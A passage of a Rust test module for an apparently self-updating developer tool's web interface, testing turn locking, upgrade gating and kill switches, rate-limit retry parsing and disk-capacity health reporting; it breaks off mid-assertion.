23735                tokio::time::sleep(Duration::from_millis(10)).await;
23736            }
23737        })
23738        .await;
23739        // Always release and join the agent, even if readiness or the web
23740        // request fails, so a failed assertion cannot leave a turn behind.
23741        let refusal = if ready.is_ok() {
23742            let before = consult_snapshot(&ui, &q, &id);
23743            let result = talk_say(
23744                State(Arc::clone(&ui)),
23745                Path(id.clone()),
23746                Ok(Json(NewTalkTurn {
23747                    reply_to: None,
23748                    text: "another message".to_owned(),
23749                    attachments: Vec::new(),
23750                })),
23751            )
23752            .await;
23753            Some((result, before, consult_snapshot(&ui, &q, &id)))
23754        } else {
23755            None
23756        };
23757        std::fs::write(&release, "").expect("release agent");
23758        let done = turn.await.expect("join CLI turn");
23759        ready.expect("agent started before deadline");
23760        let (result, before, after) = refusal.expect("web request");
23761        let error = result.expect_err("web must refuse the CLI's turn");
23762        assert_eq!(error.status, StatusCode::CONFLICT);
23763        assert!(error.message.contains("a turn is already running"));
23764        assert_eq!(
23765            after, before,
23766            "refusal preserves question, draft and history"
23767        );
23768        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23769        let guard = ui
23770            .begin_talk_turn(&id)
23771            .expect("web claim")
23772            .expect("free again");
23773        drop(guard);
23774    }
23775
23776    #[test]
23777    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23778        let home = TempDir::new().expect("temp home");
23779        let talks = Talks::at(home.path().join("talks"));
23780        let ui = Ui::new(
23781            Queue::at(home.path().join("queue")),
23782            Questions::at(home.path().join("questions")),
23783            talks.clone(),
23784            home.path().join("runs"),
23785            home.path().to_path_buf(),
23786            PathBuf::from("/repo"),
23787        )
23788        .with_worktrees_root(home.path().join("wt"));
23789        let id = "20260901-000000-order";
23790        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23791        // Hold the slot mutex so the drop can finish the lease but not the slot.
23792        let slots = ui.talk_turns.lock().unwrap();
23793        let dropper = std::thread::spawn(move || drop(turn));
23794        let start = std::time::Instant::now();
23795        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23796            std::thread::sleep(Duration::from_millis(5));
23797        }
23798        assert!(!talks.turn_held(id), "the lease is released first");
23799        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23800        drop(slots);
23801        dropper.join().expect("join");
23802        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23803    }
23804
23805    #[tokio::test]
23806    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23807        let fx = Fixture::start().await;
23808        let mut beat = crate::daemon::Status::new();
23809        beat.worker_protocol = None;
23810        beat.pid = 4321;
23811        beat.updated_at = jiff::Timestamp::now();
23812        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23813            .expect("publish a heartbeat");
23814
23815        let res = fx.post("/api/upgrade", None).await;
23816        assert_eq!(res.status, 409);
23817    }
23818
23819    /// [`should_spawn_recheck`] must refuse for the same two reasons
23820    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23821    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23822    /// Purely a predicate over config and the environment - no network, no
23823    /// disk, no runtime - so unlike the fixture-based tests around it this
23824    /// one needs neither.
23825    #[test]
23826    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23827        assert!(!should_spawn_recheck(&crate::config::Update {
23828            mode: UpdateMode::Off,
23829            interval: None,
23830            auto_restart: false,
23831        }));
23832
23833        // SAFETY: single-threaded as far as this variable goes, the same
23834        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23835        unsafe {
23836            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23837        }
23838        let killed = should_spawn_recheck(&crate::config::Update {
23839            mode: UpdateMode::Notify,
23840            interval: None,
23841            auto_restart: false,
23842        });
23843        unsafe {
23844            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23845        }
23846        assert!(
23847            !killed,
23848            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23849             one-time startup check"
23850        );
23851
23852        assert!(should_spawn_recheck(&crate::config::Update {
23853            mode: UpdateMode::Notify,
23854            interval: None,
23855            auto_restart: false,
23856        }));
23857    }
23858
23859    /// [`recheck_poll_period`] must track a configured `[update] interval`
23860    /// shorter than its own default ceiling - a fixed sleep here would leave
23861    /// an operator's short interval waiting on the next wake-up instead of on
23862    /// `should_check`, which is the same bug this whole task exists to fix,
23863    /// just one level down.
23864    #[test]
23865    fn recheck_poll_period_tracks_a_short_configured_interval() {
23866        let short = crate::config::Update {
23867            mode: UpdateMode::Notify,
23868            interval: Some("1m".to_owned()),
23869            auto_restart: false,
23870        };
23871        let period = recheck_poll_period(&short);
23872        assert!(
23873            period <= Duration::from_secs(30),
23874            "a one-minute interval must wake the task far sooner than the \
23875             default ceiling, or the deck would not notice within the \
23876             interval the operator configured: got {period:?}"
23877        );
23878
23879        let default = crate::config::Update {
23880            mode: UpdateMode::Notify,
23881            interval: None,
23882            auto_restart: false,
23883        };
23884        assert_eq!(
23885            recheck_poll_period(&default),
23886            UPDATE_RECHECK_POLL_MAX,
23887            "the default day-long interval should poll at the (capped) \
23888             ceiling rather than needlessly often"
23889        );
23890    }
23891
23892    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23893    /// same throttle `updater::Checker::should_check` already gives the
23894    /// CLI's notify mode. Built over an explicit state file via
23895    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23896    /// write the operator's real `last_update_check.json` - and therefore
23897    /// cannot flake on whatever that file happens to say on the machine
23898    /// running the test.
23899    #[test]
23900    fn recheck_skips_the_network_before_the_interval_elapses() {
23901        let dir = TempDir::new().expect("temp dir");
23902        let path = dir.path().join("state.json");
23903        let state = kaishin::UpdateCheckState {
23904            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23905            last_known_latest: None,
23906            last_known_url: None,
23907        };
23908        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23909
23910        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23911        assert!(
23912            !update_recheck_due(&checker, None),
23913            "a check made moments ago must not be repeated before the \
23914             configured interval elapses"
23915        );
23916    }
23917
23918    /// An upgrade this deck already started must not be raced by a recheck
23919    /// that discovers a newer release mid-install - regardless of what
23920    /// `should_check` says, which is why the state file here is missing
23921    /// entirely: read alone, that alone would answer "never checked, go
23922    /// ahead".
23923    #[test]
23924    fn recheck_defers_to_an_upgrade_already_in_flight() {
23925        let dir = TempDir::new().expect("temp dir");
23926        let path = dir.path().join("state.json");
23927        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23928        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23929
23930        assert!(
23931            !update_recheck_due(&checker, Some(&progress)),
23932            "a recheck must not run while an upgrade this deck started is \
23933             still moving"
23934        );
23935    }
23936
23937    #[tokio::test]
23938    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23939        // The same env var the background check honours (`disabled_by_env`)
23940        // must also stop a button press before it ever calls
23941        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23942        // means "never contact GitHub from this process", and a tap on the
23943        // upgrade button must not override that any more than a broken
23944        // `magi.toml` may. Left unset, this fixture's default config would
23945        // otherwise reach a real, unauthenticated GitHub call.
23946        //
23947        // SAFETY: single-threaded as far as this variable goes - nothing else
23948        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23949        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23950        unsafe {
23951            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23952        }
23953        let fx = Fixture::start().await;
23954        let res = fx.post("/api/upgrade", None).await;
23955        unsafe {
23956            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23957        }
23958        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23959        let body = res.json();
23960        assert!(body["to"].is_null(), "there was no release to move to");
23961        assert!(body["parked"].is_null(), "and nothing was parked");
23962        assert!(
23963            body["detail"]
23964                .as_str()
23965                .unwrap()
23966                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23967            "{body:?}"
23968        );
23969    }
23970
23971    #[test]
23972    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23973        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23974        let mut cfg = Update::default();
23975        assert!(matches!(
23976            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23977            Skip(_)
23978        ));
23979        cfg.auto_restart = true;
23980        assert_eq!(
23981            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23982            Trigger
23983        );
23984        assert_eq!(
23985            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23986            Wait
23987        );
23988        for (disabled, moving, failed) in [
23989            (true, false, None),
23990            (false, true, None),
23991            (false, false, Some("v2")),
23992        ] {
23993            assert!(matches!(
23994                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23995                Skip(_)
23996            ));
23997        }
23998        assert_eq!(
23999            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
24000            Trigger
24001        );
24002        cfg.mode = UpdateMode::Off;
24003        assert!(matches!(
24004            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
24005            Skip(_)
24006        ));
24007    }
24008
24009    #[test]
24010    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
24011        let home = TempDir::new().unwrap();
24012        let ui = idle_ui(&home);
24013        assert!(!ui.auto_upgrade_busy());
24014        let directory = home.path().join("workers/jobs/abcdef");
24015        std::fs::create_dir_all(&directory).unwrap();
24016        let mut job = crate::worker::Job {
24017            id: "abcdef".into(),
24018            sequence: 1,
24019            kind: "scheduler".into(),
24020            key: "scheduler".into(),
24021            payload: serde_json::json!({}),
24022            generation: "test".into(),
24023            version: None,
24024            status: crate::worker::Status::Running,
24025            result: None,
24026            pid: None,
24027            created_at: 0,
24028            finished_at: None,
24029        };
24030        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
24031        let write = |job: &crate::worker::Job| {
24032            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
24033        };
24034        write(&job);
24035        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
24036        for kind in ["task", "chat"] {
24037            job.kind = kind.into();
24038            write(&job);
24039            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
24040        }
24041        drop(lease);
24042        // Lease::drop explicitly unlocks even if a concurrent fork inherited
24043        // the descriptor. Check the real decision directly: a raw flock probe
24044        // here could itself be inherited and keep the worker looking busy.
24045        assert!(
24046            !ui.auto_upgrade_busy(),
24047            "completed execution permits updates"
24048        );
24049        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
24050        assert!(
24051            ui.auto_upgrade_busy(),
24052            "unreadable worker state defers updates"
24053        );
24054    }
24055
24056    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24057        Box::pin(async { anyhow::bail!("test installer failed") })
24058    }
24059
24060    #[tokio::test]
24061    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
24062        let home = TempDir::new().unwrap();
24063        std::fs::write(
24064            home.path().join("magi.toml"),
24065            "[update]\nauto_restart = true\n",
24066        )
24067        .unwrap();
24068        let mut ui = idle_ui(&home);
24069        ui.repo = home.path().to_path_buf();
24070        // Every successful trigger in this test uses this seam, never the installer.
24071        ui.upgrade_runner = fail_test_upgrade;
24072        let ui = Arc::new(ui);
24073        let latest = || {
24074            Some(kaishin::LatestRelease {
24075                tag_name: "v999.0.0".into(),
24076                html_url: String::new(),
24077            })
24078        };
24079        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24080        assert_eq!(
24081            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24082                .await
24083                .status(),
24084            StatusCode::NO_CONTENT
24085        );
24086        assert!(updater::read_progress(home.path()).is_none());
24087        ui.talk_turns.lock().unwrap().live.clear();
24088        let gate = ui.upgrade_gate.lock().await;
24089        assert_eq!(
24090            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24091                .await
24092                .status(),
24093            StatusCode::CONFLICT
24094        );
24095        drop(gate);
24096        assert_eq!(
24097            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24098                .await
24099                .status(),
24100            StatusCode::ACCEPTED
24101        );
24102        let progress = updater::read_progress(home.path()).unwrap();
24103        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24104        assert_eq!(progress.stage, updater::Stage::Downloading);
24105        assert!(progress.parked_run.is_none());
24106        assert!(ui.start_detached_loop().await.is_err());
24107        assert!(ui.start_loop(None).is_err());
24108        assert!(ui.begin_resume("late").is_err());
24109        tokio::time::timeout(Duration::from_secs(2), async {
24110            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24111                tokio::task::yield_now().await;
24112            }
24113        })
24114        .await
24115        .unwrap();
24116        let progress = updater::read_progress(home.path()).unwrap();
24117        assert_eq!(progress.stage, updater::Stage::Failed);
24118        assert_eq!(
24119            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24120                .await
24121                .status(),
24122            StatusCode::NO_CONTENT
24123        );
24124        // The manual shared path records the same progress and runs the same seam.
24125        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
24126        assert_eq!(
24127            finish_upgrade_request(&ui, result).status(),
24128            StatusCode::ACCEPTED
24129        );
24130        assert_eq!(
24131            updater::read_progress(home.path()).unwrap().trigger,
24132            updater::UpgradeTrigger::Manual
24133        );
24134        tokio::time::timeout(Duration::from_secs(2), async {
24135            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24136                tokio::task::yield_now().await;
24137            }
24138        })
24139        .await
24140        .unwrap();
24141    }
24142
24143    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24144        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24145        p.stage = stage;
24146        p
24147    }
24148
24149    #[test]
24150    fn busy_stages_match_the_ui_set() {
24151        use crate::updater::Stage;
24152        assert!(APP_JS.contains(
24153            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24154        ));
24155        for s in [
24156            Stage::Downloading,
24157            Stage::Replaced,
24158            Stage::Parking,
24159            Stage::Restarting,
24160        ] {
24161            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24162        }
24163        for s in [Stage::Done, Stage::Failed] {
24164            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24165        }
24166        assert!(upgrade_in_motion(None).is_none());
24167    }
24168
24169    #[tokio::test]
24170    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24171        use crate::updater::Stage;
24172        for stage in [
24173            Stage::Downloading,
24174            Stage::Replaced,
24175            Stage::Parking,
24176            Stage::Restarting,
24177        ] {
24178            let fx = Fixture::start().await;
24179            let seeded = seeded_progress(stage);
24180            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24181            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24182                .expect("read");
24183
24184            let res = fx.post("/api/upgrade", None).await;
24185            assert_eq!(res.status, 409, "{stage:?}");
24186            let err = res.json()["error"].as_str().unwrap().to_owned();
24187            assert!(err.contains("already in progress"), "{err}");
24188            assert!(err.contains(stage.as_str()), "{err}");
24189
24190            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24191                .expect("read");
24192            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24193            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24194                .unwrap_or_default();
24195            assert!(!log.contains("signalling HANDOVER"), "{log}");
24196        }
24197    }
24198
24199    #[test]
24200    fn upgrade_retry_timing_only_parses_known_diagnostics() {
24201        assert_eq!(
24202            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24203            Some(3723)
24204        );
24205        assert_eq!(
24206            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24207            Some(60)
24208        );
24209        assert_eq!(
24210            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24211            Some(0)
24212        );
24213        for message in [
24214            "permission denied",
24215            "GitHub API rate limit exceeded",
24216            "GitHub rate limit (resets in unknown)",
24217            "GitHub rate limit (resets in 18446744073709551615d)",
24218        ] {
24219            assert_eq!(upgrade_retry_after(message), None, "{message}");
24220        }
24221    }
24222
24223    #[tokio::test]
24224    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24225        let home = TempDir::new().unwrap();
24226        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24227        ui.start_loop(None).unwrap();
24228        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24229        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24230        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24231        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24232        let response = finish_upgrade_request(&ui, result);
24233        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24234        assert_eq!(response.headers()["retry-after"], "120");
24235        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24236            .await
24237            .unwrap();
24238        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24239        assert!(body["error"].as_str().unwrap().contains(reason));
24240        assert_eq!(body["retry_after_secs"], 120);
24241        assert!(body["retry_at"].as_u64().is_some());
24242        for _ in 0..2 {
24243            let view = health(State(ui.clone())).await.unwrap().0;
24244            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24245            assert_eq!(failure, body);
24246        }
24247        assert_eq!(
24248            std::fs::read(updater::progress_path(home.path())).unwrap(),
24249            before
24250        );
24251        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24252        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24253        // A conflicting request must not erase the actionable earlier failure.
24254        let gate = ui.upgrade_gate.lock().await;
24255        assert_eq!(
24256            upgrade_post(State(ui.clone())).await.status(),
24257            StatusCode::CONFLICT
24258        );
24259        drop(gate);
24260        assert!(
24261            health(State(ui.clone()))
24262                .await
24263                .unwrap()
24264                .0
24265                .upgrade_request_error
24266                .is_some()
24267        );
24268        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24269        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24270        assert!(
24271            health(State(ui.clone()))
24272                .await
24273                .unwrap()
24274                .0
24275                .upgrade_request_error
24276                .is_none()
24277        );
24278        let live = ui.lock_loop().live.take().unwrap();
24279        live.stop.stop();
24280        live.handle.await.unwrap();
24281    }
24282
24283    #[tokio::test]
24284    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24285        use crate::updater::Stage;
24286        let repo = TempDir::new().expect("repo dir");
24287        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24288            .expect("write magi.toml");
24289        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24290        for stage in [Stage::Done, Stage::Failed] {
24291            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24292            let res = fx.post("/api/upgrade", None).await;
24293            assert_eq!(res.status, 200, "{stage:?}");
24294        }
24295        // No record at all, and the gate was released by the earlier calls.
24296        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24297        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24298    }
24299
24300    #[tokio::test]
24301    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24302        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
24303        // and the route answers from its own logic.
24304        //
24305        // This test used to lean on the fixture's placeholder repo failing
24306        // config discovery, which left `mode = "notify"` - and a live,
24307        // unauthenticated call to the GitHub releases API inside a unit test.
24308        // GitHub allows 60 of those an hour per address, so the suite went red
24309        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
24310        // long as somebody kept re-running it: every attempt spent another
24311        // request. Six reruns across four pull requests were charged to that
24312        // before it was read as a rate limit rather than a flake.
24313        //
24314        // What the assertion is about is the "already current" branch, which
24315        // is reached by there being no newer release *or* nowhere to look. The
24316        // second one needs no network and cannot be rate limited.
24317        let repo = TempDir::new().expect("repo dir");
24318        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24319            .expect("write magi.toml");
24320        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24321
24322        // It must answer 200 and leave the process alone: restarting for an
24323        // upgrade that did not happen parks the run in flight and drops every
24324        // connection to pay for nothing. A probe against a deck already on the
24325        // newest build did exactly that, which is how this case got its own
24326        // branch.
24327        let res = fx.post("/api/upgrade", None).await;
24328        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24329        let body = res.json();
24330        assert!(body["to"].is_null(), "there was no release to move to");
24331        assert!(body["parked"].is_null(), "and nothing was parked");
24332        assert!(
24333            body["detail"]
24334                .as_str()
24335                .unwrap()
24336                .contains("nothing restarted"),
24337            "{body:?}"
24338        );
24339    }
24340
24341    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24342        tokio::time::timeout(Duration::from_secs(5), async {
24343            while state.lock().unwrap().in_flight {
24344                tokio::task::yield_now().await;
24345            }
24346        })
24347        .await
24348        .expect("capacity scan finished");
24349    }
24350
24351    fn disk_test_scope(home: &FsPath) -> DiskScope {
24352        DiskScope {
24353            runs: home.join("runs"),
24354            worktrees: home.join("worktrees"),
24355            cache: Some(home.join("cache")),
24356        }
24357    }
24358
24359    fn known_disk_capacity() -> DiskCapacity {
24360        DiskCapacity {
24361            free_bytes: Some(100),
24362            runs_bytes: Some(200),
24363            worktrees_bytes: Some(300),
24364            cache_bytes: Some(400),
24365        }
24366    }
24367
24368    #[tokio::test]
24369    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24370        let home = TempDir::new().unwrap();
24371        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24372        let mut ui = delta_test_ui(home.path());
24373        let state = Arc::get_mut(&mut ui).unwrap();
24374        state.repo = home.path().to_owned();
24375        state.worktrees_root = home.path().join("worktrees");
24376        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24377        ui.monitor
24378            .worker_started
24379            .store(true, std::sync::atomic::Ordering::SeqCst);
24380        let cfg = deputy_config(&ui.repo);
24381        let scope = DiskScope::of(&ui, cfg.as_ref());
24382        let (started, reached) = tokio::sync::oneshot::channel();
24383        let (release, blocked) = std::sync::mpsc::channel();
24384        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24385            started.send(()).unwrap();
24386            // A failed request assertion must also let the blocking worker exit.
24387            let _ = blocked.recv();
24388            known_disk_capacity()
24389        });
24390        assert!(cold.runs_bytes.is_none());
24391        tokio::time::timeout(Duration::from_secs(5), reached)
24392            .await
24393            .unwrap()
24394            .unwrap();
24395
24396        let requests: Vec<_> = (0..4)
24397            .map(|_| {
24398                let ui = ui.clone();
24399                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24400            })
24401            .collect();
24402        // This is a causal independence check, not a five-second latency
24403        // benchmark. Leave room for unrelated filesystem/thread contention
24404        // when the entire unit suite runs concurrently.
24405        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24406            for request in requests {
24407                let view = request.await.unwrap();
24408                let disk = serde_json::to_value(view.disk).unwrap();
24409                assert!(disk["runs_bytes"].is_null());
24410                assert!(disk["worktrees_bytes"].is_null());
24411                // Free space is a cheap live observation even while the
24412                // recursive capacity measurement remains blocked.
24413                assert!(disk["free_bytes"].is_u64());
24414            }
24415        })
24416        .await;
24417        if completed.is_err() {
24418            release.send(()).unwrap();
24419            wait_for_disk_scan(&ui.monitor.disk).await;
24420            panic!("health must return while the measurement is causally blocked");
24421        }
24422        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24423        // No competing worker can have published while the first holds flight.
24424        assert!(
24425            ui.monitor
24426                .disk
24427                .lock()
24428                .unwrap()
24429                .capacity
24430                .runs_bytes
24431                .is_none()
24432        );
24433        release.send(()).unwrap();
24434        wait_for_disk_scan(&ui.monitor.disk).await;
24435        assert_eq!(
24436            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24437            Some(200)
24438        );
24439    }
24440
24441    #[tokio::test]
24442    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24443        let home = TempDir::new().unwrap();
24444        let scope = disk_test_scope(home.path());
24445        let state = Arc::new(Mutex::new(DiskObservation {
24446            scope: Some(scope.clone()),
24447            capacity: known_disk_capacity(),
24448            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24449            ..Default::default()
24450        }));
24451        let (started, reached) = tokio::sync::oneshot::channel();
24452        let (release, blocked) = std::sync::mpsc::channel();
24453        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24454            started.send(()).unwrap();
24455            blocked.recv().unwrap();
24456            DiskCapacity {
24457                runs_bytes: Some(250),
24458                ..Default::default()
24459            }
24460        });
24461        assert_eq!(before.cache_bytes, Some(400));
24462        tokio::time::timeout(Duration::from_secs(5), reached)
24463            .await
24464            .unwrap()
24465            .unwrap();
24466        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24467        for _ in 0..4 {
24468            let scans = duplicate_scans.clone();
24469            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24470                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24471                DiskCapacity::default()
24472            });
24473            assert_eq!(during.runs_bytes, Some(200));
24474            assert_eq!(during.cache_bytes, Some(400));
24475        }
24476        release.send(()).unwrap();
24477        wait_for_disk_scan(&state).await;
24478        let scans = duplicate_scans.clone();
24479        let after = DiskObservation::observe(&state, scope, move |_| {
24480            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24481            DiskCapacity::default()
24482        });
24483        wait_for_disk_scan(&state).await;
24484        assert_eq!(after.runs_bytes, Some(250));
24485        assert_eq!(after.free_bytes, Some(100));
24486        assert_eq!(after.cache_bytes, Some(400));
24487        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24488        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24489    }
24490
24491    #[tokio::test]
24492    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24493        let home = TempDir::new().unwrap();
24494        let old_scope = disk_test_scope(home.path());
24495        let mut new_scope = old_scope.clone();
24496        new_scope.cache = Some(home.path().join("replacement-cache"));
24497        let state = Arc::new(Mutex::new(DiskObservation {
24498            scope: Some(old_scope.clone()),
24499            capacity: known_disk_capacity(),
24500            ..Default::default()
24501        }));
24502        let (started, reached) = tokio::sync::oneshot::channel();
24503        let (release, blocked) = std::sync::mpsc::channel();
24504        DiskObservation::observe(&state, old_scope, move |_| {
24505            started.send(()).unwrap();
24506            blocked.recv().unwrap();
24507            known_disk_capacity()
24508        });
24509        tokio::time::timeout(Duration::from_secs(5), reached)
24510            .await
24511            .unwrap()
24512            .unwrap();
24513        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24514        let scans = duplicate_scans.clone();
24515        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24516            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24517            DiskCapacity::default()
24518        });
24519        assert!(changed.cache_bytes.is_none());
24520        assert!(changed.runs_bytes.is_none());
24521        release.send(()).unwrap();
24522        wait_for_disk_scan(&state).await;
24523        {
24524            let observation = state.lock().unwrap();
24525            assert!(observation.capacity.cache_bytes.is_none());
24526            assert!(observation.finished.is_none());
24527        }
24528        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24529            assert_eq!(scope, &new_scope);
24530            DiskCapacity {
24531                cache_bytes: Some(999),
24532                ..Default::default()
24533            }
24534        });
24535        wait_for_disk_scan(&state).await;
24536        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24537        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24538    }
24539
24540    #[tokio::test]
24541    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24542        let home = TempDir::new().unwrap();
24543        let scope = disk_test_scope(home.path());
24544        let state = Arc::new(Mutex::new(DiskObservation {
24545            scope: Some(scope.clone()),
24546            capacity: known_disk_capacity(),
24547            ..Default::default()
24548        }));
24549        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24550        wait_for_disk_scan(&state).await;
24551        {
24552            let mut observation = state.lock().unwrap();
24553            assert_eq!(observation.capacity.cache_bytes, Some(400));
24554            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24555            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24556        }
24557        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24558            cache_bytes: Some(450),
24559            ..Default::default()
24560        });
24561        wait_for_disk_scan(&state).await;
24562        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24563    }
24564
24565    #[test]
24566    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24567        let home = TempDir::new().unwrap();
24568        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24569        assert_eq!(disk_capacity_size(home.path()), Some(0));
24570        std::fs::create_dir(home.path().join("nested")).unwrap();
24571        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24572        assert_eq!(disk_capacity_size(home.path()), Some(5));
24573        #[cfg(unix)]
24574        {
24575            // Unix distinguishes an invalid descendant lookup from absence.
24576            assert_eq!(
